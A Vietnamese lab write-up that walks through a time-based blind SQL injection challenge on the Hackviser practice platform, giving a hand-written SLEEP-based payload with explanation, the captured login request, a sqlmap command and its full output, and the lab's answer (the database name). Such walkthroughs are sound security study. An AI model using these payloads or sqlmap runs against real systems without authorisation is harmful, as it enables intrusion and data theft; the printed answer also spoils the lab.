Time-Based Blind SQL Injection Lab


This lab contains is a SQL Injection vulnerability in the forgot password function. Unlike other SQL Injection labs, the answer returned from the server is always the same. To complete the lab, perform a Time-Based Blind SQL Injection attack observing the changes in response time and retrieve the database name. What is database name?

Theo đề bài ta biết được rằng dù truy vấn sai hay đúng thì trang web vẫn chỉ trả về 1 kết quả nên ta sẽ dùng hàm sleep() . Nghĩa là nếu truy vấn đúng thì sẽ mất 1 khoảng thời gian thì mới nhận đc kết quả còn nếu truy vấn sai thì sẽ nhận được kết quả như bình thường , hàm sleep() sẽ không được thực thi . từ đây ta có thể bruteforce từng chữ cái trong đáp án :>


Ví dụ :

' OR IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)-- -
  • Cấu trúc
  • ’ OR … — -
  • ’ → đóng chuỗi input ban đầu (ví dụ trong SQL: WHERE email=‘abc’).
  • OR → ép điều kiện luôn đúng.
  • — - → comment phần SQL còn lại để tránh lỗi cú pháp.
  • IF(điều_kiện, SLEEP(5), 0)
  • Đây là hàm IF trong MySQL.
  • Nếu điều kiện đúng → chạy SLEEP(5) ⇒ server “ngủ” 5 giây.
  • Nếu điều kiện sai → trả về 0 ⇒ server phản hồi bình thường.
  • SUBSTRING(DATABASE(),1,1)=‘s’ là điều kiện
  • Hàm SUBSTRING(x, start, length) → cắt chuỗi x từ vị trí start với độ dài length cần lấy(nếu database là kai start là 1 và length là 2 thì hàm sẽ lấy ka, lấy 2 kí tự và bắt đầu lấy từ vị trí thứ nhất , bắt đầu là 1 chứ không phải là 0 như trong các mảng trong lập trình)

  • Tôi thử đọc gói request và thấy được tham số email , có thể kiểm tra SQL Injection .
POST / HTTP/1.1
Host: capital-synch.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: https://capital-synch.europe1.hackviser.space
Referer: https://capital-synch.europe1.hackviser.space/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

email=kai0kid%40gmail.com
  • Từ bài học trước , tôi đã biết công cụng xịn sò của sqlmap , tôi liền dùng nó để dò tìm tên database.
sqlmap -r k.txt -p email --technique=T --current-db --batch
  • Giải Thích:
  • -r k.txt → dùng request đã lưu.
  • -p email → chỉ định tham số nghi ngờ bị SQLi (vd: email hoặc username).
  • —technique=T → chỉ dùng kỹ thuật Time-based blind.
  • —current-db → yêu cầu lấy tên database hiện tại.
  • —batch → chạy tự động, không hỏi
  • Kết quả sau 1 hồi truy vấn :
┌─[root@hackerbox]─[~]
└──╼ #sqlmap -r k.txt -p email --technique=T --current-db --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9.9#stable}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:45:23 /2025-09-24/

[09:45:23] [INFO] parsing HTTP request from 'k.txt'
[09:45:24] [INFO] testing connection to the target URL
got a 301 redirect to 'https://capital-synch.europe1.hackviser.space/'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
[09:45:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:45:24] [WARNING] heuristic (basic) test shows that POST parameter 'email' might not be injectable
[09:45:24] [INFO] testing for SQL injection on POST parameter 'email'
[09:45:25] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[09:45:25] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)        
[09:45:37] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[09:45:37] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 41 HTTP(s) requests:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=kai0kid@gmail.com' AND (SELECT 8059 FROM (SELECT(SLEEP(5)))OogX) AND 'zvWN'='zvWN
---
[09:45:53] [INFO] the back-end DBMS is MySQL
[09:45:53] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[09:45:53] [INFO] fetching current database
[09:45:53] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[09:46:08] [INFO] adjusting time delay to 1 second due to good response times
utopia
current database: 'utopia'
[09:46:28] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 5 times
[09:46:28] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/capital-synch.europe1.hackviser.space'

[*] ending @ 09:46:28 /2025-09-24/

==> Kết quả cho thấy database có tên là : utopia

Time-Based Blind SQL Injection Lab

Author

Kai0Kid

Publish Date

09 - 24 - 2025

License

Unlicensed

Avatar
Kai0Kid

Bạn tìm gì ở tôi ?